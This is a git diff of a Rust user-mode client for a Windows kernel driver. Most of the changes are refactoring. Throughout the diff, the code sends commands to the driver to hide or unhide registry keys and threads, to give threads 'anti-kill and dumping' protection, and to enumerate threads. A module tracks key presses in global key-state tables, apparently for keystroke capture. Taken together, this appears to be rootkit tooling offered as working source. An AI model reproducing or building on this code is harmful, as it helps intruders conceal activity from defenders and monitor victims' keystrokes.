info!("Registry with Key: {key} and Value: {value} successfully {}hidden", if enable { "" } else { "un" });
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -110,7 +110,7 @@ impl Registry {
|
||||
impl Drop for Registry {
|
||||
/// Ensures the driver handle is closed when `Registry` goes out of scope.
|
||||
fn drop(&mut self) {
|
||||
log::debug!("Closing the driver handle");
|
||||
unsafe { CloseHandle(self.driver_handle) };
|
||||
debug!("Closing the driver handle");
|
||||
unsafe { CloseHandle(self.0) };
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,15 +1,15 @@
|
||||
use crate::utils::{open_driver, Options};
|
||||
use common::structs::TargetThread;
|
||||
use std::{ffi::c_void, mem::size_of, ptr::null_mut};
|
||||
use log::{info, error, debug};
|
||||
use windows_sys::Win32::{
|
||||
Foundation::{CloseHandle, HANDLE},
|
||||
System::IO::DeviceIoControl,
|
||||
};
|
||||
|
||||
use common::structs::TargetThread;
|
||||
use crate::utils::{open_driver, Options};
|
||||
|
||||
/// Provides operations for managing threads through a driver interface.
|
||||
pub struct Thread {
|
||||
driver_handle: HANDLE,
|
||||
}
|
||||
pub struct Thread(HANDLE);
|
||||
|
||||
impl Thread {
|
||||
/// Creates a new `Thread` instance, opening a handle to the driver.
|
||||
@@ -22,8 +22,8 @@ impl Thread {
|
||||
///
|
||||
/// Panics if the driver cannot be opened.
|
||||
pub fn new() -> Self {
|
||||
let driver_handle = open_driver().expect("Error");
|
||||
Thread { driver_handle }
|
||||
let h_driver = open_driver().expect("Error");
|
||||
Self(h_driver)
|
||||
}
|
||||
|
||||
/// Hides or unhides a thread specified by `tid`.
|
||||
@@ -34,9 +34,9 @@ impl Thread {
|
||||
/// * `ioctl_code` - The IOCTL code for the hide/unhide operation.
|
||||
/// * `enable` - A boolean indicating whether to hide (`true`) or unhide (`false`) the thread.
|
||||
pub fn hide_unhide_thread(self, tid: Option<&u32>, ioctl_code: u32, enable: bool) {
|
||||
log::debug!("Attempting to open the driver for hide/unhide operation");
|
||||
debug!("Attempting to open the driver for hide/unhide operation");
|
||||
if let Some(tid_value) = tid {
|
||||
log::debug!("Preparing structure for TID: {}", tid_value);
|
||||
debug!("Preparing structure for TID: {}", tid_value);
|
||||
let mut return_buffer = 0;
|
||||
let tid = *tid_value as usize;
|
||||
let mut target_thread = TargetThread {
|
||||
@@ -45,10 +45,10 @@ impl Thread {
|
||||
..Default::default()
|
||||
};
|
||||
|
||||
log::debug!( "Sending DeviceIoControl command to {} thread", if enable { "hide" } else { "unhide" });
|
||||
debug!( "Sending DeviceIoControl command to {} thread", if enable { "hide" } else { "unhide" });
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
self.driver_handle,
|
||||
self.0,
|
||||
ioctl_code,
|
||||
&mut target_thread as *mut _ as *mut c_void,
|
||||
size_of::<TargetThread>() as u32,
|
||||
@@ -60,12 +60,12 @@ impl Thread {
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
log::error!("DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||
error!("DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||
} else {
|
||||
log::info!("Thread with TID {} successfully {}hidden", tid, if enable { "" } else { "un" });
|
||||
info!("Thread with TID {} successfully {}hidden", tid, if enable { "" } else { "un" });
|
||||
}
|
||||
} else {
|
||||
log::error!("TID not supplied");
|
||||
error!("TID not supplied");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -78,9 +78,9 @@ impl Thread {
|
||||
/// * `enable` - A boolean indicating whether to enable (`true`) or disable (`false`) protection.
|
||||
#[cfg(not(feature = "mapper"))]
|
||||
pub fn protection_thread(self, tid: Option<&u32>, ioctl_code: u32, enable: bool) {
|
||||
log::debug!("Attempting to open the driver for thread protection operation");
|
||||
debug!("Attempting to open the driver for thread protection operation");
|
||||
if let Some(tid_value) = tid {
|
||||
log::debug!("Preparing structure for TID: {}", tid_value);
|
||||
debug!("Preparing structure for TID: {}", tid_value);
|
||||
let mut return_buffer = 0;
|
||||
let tid = *tid_value as usize;
|
||||
let mut target_thread = TargetThread {
|
||||
@@ -89,10 +89,10 @@ impl Thread {
|
||||
..Default::default()
|
||||
};
|
||||
|
||||
log::debug!("Sending DeviceIoControl command to {} thread protection", if enable { "enable" } else { "disable" });
|
||||
debug!("Sending DeviceIoControl command to {} thread protection", if enable { "enable" } else { "disable" });
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
self.driver_handle,
|
||||
self.0,
|
||||
ioctl_code,
|
||||
&mut target_thread as *mut _ as *mut c_void,
|
||||
size_of::<TargetThread>() as u32,
|
||||
@@ -104,12 +104,12 @@ impl Thread {
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
log::error!("DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||
error!("DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||
} else {
|
||||
log::info!("Thread TID {tid} with anti-kill and dumping functions {}", if enable { "enabled" } else { "disabled" });
|
||||
info!("Thread TID {tid} with anti-kill and dumping functions {}", if enable { "enabled" } else { "disabled" });
|
||||
}
|
||||
} else {
|
||||
log::error!("TID not supplied");
|
||||
error!("TID not supplied");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -120,18 +120,18 @@ impl Thread {
|
||||
/// * `ioctl_code` - The IOCTL code for the enumeration operation.
|
||||
/// * `option` - Reference to `Options` struct specifying options for the enumeration.
|
||||
pub fn enumerate_thread(self, ioctl_code: u32, option: &Options) {
|
||||
log::debug!("Attempting to open the driver for thread enumeration");
|
||||
debug!("Attempting to open the driver for thread enumeration");
|
||||
let mut info_thread: [TargetThread; 100] = unsafe { std::mem::zeroed() };
|
||||
let mut enumeration_input = TargetThread {
|
||||
options: option.to_shared(),
|
||||
..Default::default()
|
||||
};
|
||||
|
||||
log::debug!("Sending DeviceIoControl command to enumerate threads");
|
||||
debug!("Sending DeviceIoControl command to enumerate threads");
|
||||
let mut return_buffer = 0;
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
self.driver_handle,
|
||||
self.0,
|
||||
ioctl_code,
|
||||
&mut enumeration_input as *mut _ as *mut c_void,
|
||||
size_of::<TargetThread>() as u32,
|
||||
@@ -143,13 +143,13 @@ impl Thread {
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
log::error!("DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||
error!("DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||
} else {
|
||||
let total_threads = return_buffer as usize / size_of::<TargetThread>();
|
||||
log::info!("Total Threads: {}", total_threads);
|
||||
info!("Total Threads: {}", total_threads);
|
||||
for (i, thread) in info_thread.iter().enumerate().take(total_threads) {
|
||||
if thread.tid > 0 {
|
||||
log::info!("[{}] {}", i, info_thread[i].tid);
|
||||
info!("[{}] {}", i, info_thread[i].tid);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -159,7 +159,7 @@ impl Thread {
|
||||
impl Drop for Thread {
|
||||
/// Ensures the driver handle is closed when `Thread` goes out of scope.
|
||||
fn drop(&mut self) {
|
||||
log::debug!("Closing the driver handle");
|
||||
unsafe { CloseHandle(self.driver_handle) };
|
||||
debug!("Closing the driver handle");
|
||||
unsafe { CloseHandle(self.0) };
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,15 +1,21 @@
|
||||
use super::VK_CHARS;
|
||||
use crate::{
|
||||
is_key_down,
|
||||
modules::misc::{KEY_PREVIOUS, KEY_RECENT, KEY_STATE},
|
||||
is_key_down,
|
||||
set_key_down,
|
||||
modules::{
|
||||
KEY_PREVIOUS,
|
||||
KEY_RECENT,
|
||||
KEY_STATE
|
||||
},
|
||||
};
|
||||
|
||||
/// Updates the status of the keys.
|
||||
pub unsafe fn update_key_state() {
|
||||
for i in 0..256 {
|
||||
if is_key_down!(KEY_STATE, i) && !(is_key_down!(KEY_PREVIOUS, i)) {
|
||||
set_key_down!(KEY_RECENT, i, true);
|
||||
pub fn update_key_state() {
|
||||
unsafe {
|
||||
for i in 0..256 {
|
||||
if is_key_down!(KEY_STATE, i) && !(is_key_down!(KEY_PREVIOUS, i)) {
|
||||
set_key_down!(KEY_RECENT, i, true);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -23,10 +29,12 @@ pub unsafe fn update_key_state() {
|
||||
/// # Returns
|
||||
///
|
||||
/// * `bool` - if the key was pressed, otherwise `false`.
|
||||
pub unsafe fn key_pressed(key: u8) -> bool {
|
||||
let result = is_key_down!(KEY_RECENT, key);
|
||||
set_key_down!(KEY_RECENT, key, false);
|
||||
result
|
||||
pub fn key_pressed(key: u8) -> bool {
|
||||
unsafe {
|
||||
let result = is_key_down!(KEY_RECENT, key);
|
||||
set_key_down!(KEY_RECENT, key, false);
|
||||
result
|
||||
}
|
||||
}
|
||||
|
||||
/// Converts a virtual key code to a character.
|
||||
|
||||
@@ -1,14 +1,21 @@
|
||||
use std::{io::Write, path::Path, ptr::null_mut};
|
||||
|
||||
use colored::Colorize;
|
||||
use env_logger::Builder;
|
||||
use log::{Level, LevelFilter};
|
||||
|
||||
use std::{io::Write, path::Path, ptr::null_mut};
|
||||
use sysinfo::System;
|
||||
use windows_sys::{
|
||||
w,
|
||||
Win32::{
|
||||
Foundation::{GetLastError, GENERIC_READ, GENERIC_WRITE, HANDLE, INVALID_HANDLE_VALUE},
|
||||
Storage::FileSystem::{CreateFileW, FILE_ATTRIBUTE_NORMAL, OPEN_EXISTING},
|
||||
Foundation::{
|
||||
GetLastError, GENERIC_READ,
|
||||
GENERIC_WRITE, INVALID_HANDLE_VALUE,
|
||||
HANDLE,
|
||||
},
|
||||
Storage::FileSystem::{
|
||||
CreateFileW, FILE_ATTRIBUTE_NORMAL,
|
||||
OPEN_EXISTING
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
@@ -60,9 +67,7 @@ pub fn open_driver() -> Result<HANDLE, &'static str> {
|
||||
};
|
||||
|
||||
if h_file == INVALID_HANDLE_VALUE {
|
||||
log::error!("CreateFileW failed with error: {}", unsafe {
|
||||
GetLastError()
|
||||
});
|
||||
log::error!("CreateFileW failed with error: {}", unsafe { GetLastError() });
|
||||
return Err("Failed to open the driver.");
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user